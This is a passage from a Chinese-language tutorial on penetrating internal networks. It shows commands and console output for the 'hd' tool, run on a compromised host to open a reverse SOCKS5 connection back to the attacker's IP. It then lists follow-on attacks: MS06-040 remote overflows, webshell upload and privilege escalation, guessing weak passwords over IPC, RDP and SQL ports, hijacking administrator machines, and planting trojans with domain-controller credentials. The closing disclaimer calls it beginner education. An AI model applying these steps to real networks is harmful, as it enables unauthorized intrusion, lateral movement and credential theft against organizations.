马就掉了。 2. 反弹socks代理。 在内网渗透中,反弹socks代理是很必要的,大家都知道用lcx来转发端口,好像很少看到有人是直接反弹代理来连接。因为我们要连接内网的其 它机器,我们不可能一个一个的去中转端口连接,在当前控制的机器上开代理也没办法,因为对方在内网。所以我们就用反弹代理的方式。这种方式其实大家都明 白。
首先在本机监听: c:\>hd -s -listen 53 1180 [+] Listening ConnectBack Port 53 …… [+] Listen OK! [+] Listening Socks5 Agent Port 1180 …… [+] Listen2 OK! [+] WaITing for MainSocket on port:53 …… 此命令是将连接进来的53端口的数据包连接到1180端口。
在对方机器上运行:
C:\RECYCLER>hd -s -connect x.x.x.x 53 [+] MainSocket Connect to x.x.x.x:53 Success! [+] Send Main Command ok! [+] Recv Main Command ok! [+] Send Main Command again ok! 上面的x.x.x.x为你的外网ip,下面为你接收到反弹回来的代理显示的情况。 c:\>hd -s -listen 53 1180 [+] Listening ConnectBack Port 53 …… [+] Listen OK! [+] Listening Socks5 Agent Port 1180 …… [+] Listen2 OK! [+] WaITing for MainSocket on port:53 …… [+] Recv Main Command Echo ok! [+] Send Main Command Echo ok! [+] Recv Main Command Echo again ok! [+] Get a MainSocket on port 53 from x.x.x.x …… [+] WaITing Client on Socks5 Agent Port:1180….
上面ok了,接下来在你本机安装sockscap,照下图设置就ok了。
Sockscap设置在控制台的”文件”-“设置”里,控制台可以将你需要代理的程序放在上面,直接拖进去即可,控制台机的程序就可以进接连接 内网的机器了。如直接用mstsc连接内网其它机器的3389,就可以上去试密码或是登录管理,也可以用mssql连接内网的1433,尝试sa弱口令 等。总之反弹socks是你利用已控制的内网机器通向内网其它机器的一道桥梁。
三.思考: 信息有了,通道有了,接下来我们怎么做? 1. 内网溢出,通过对内网的扫描情况,判断win2000的机器,利用ms06040进行运程溢出。 2. 内网web,通过内网的扫描,用sockscap上的ie来打开内网开放的web,在内网采用web注入或上传的方式来获取webshell提权。 3. 内网弱口令试探,利用ipc,或是3389,和已掌握的密码信息来尝试猜解内网nt的密码,当然这需要耐心,也是非常有用的。
4. 猜解sql弱口令,在sockscap控制台中用sql连接器连接内网开放1433或是3306的机器,猜解弱口令。 5. 内网嗅探,不得已的办法,不推荐。 6. 内网主动会话劫持,篇幅长,难度高,下次详写。 四.突破: 突破是考验经验和思维的时候,利用已掌握的信息去突破面临的困难。如,如何拿到第一台内网服务器站稳脚;如何拿到内网到外网授权的机器;如何拿到外网密码。 在内网中站稳脚后,迅速判断管理员机器,控制管理员的机器极为重要。一般从机器名可以看出管理员机器,管理员的机器名常为:andy 、admin 、peter、 kater,在域控的环境中,我们只要得到域控密码就可以直接用ipc连接管理员机器种马。不是域控的环境中,我们也可以在内网测试服务器中跑出服务器的 密码进而拿去尝试管理员的密码。 在突破过程中,内网的数据库和web的分析很重要,数据库里面有很多有用的信息,web的数据库连接及作用也有助于进一步的分析。总之在这一过程中只有灵活运用,发散思维才可以进一步的突破和控制。
黑客与安全是一个矛盾话题,只有知已知彼才能更好地维护内网安全。以上是黑客常用的内网渗透手法,知识有限,文笔粗拙,高手笑过,此文仅供新手科普。
上一页 [1] [2]
|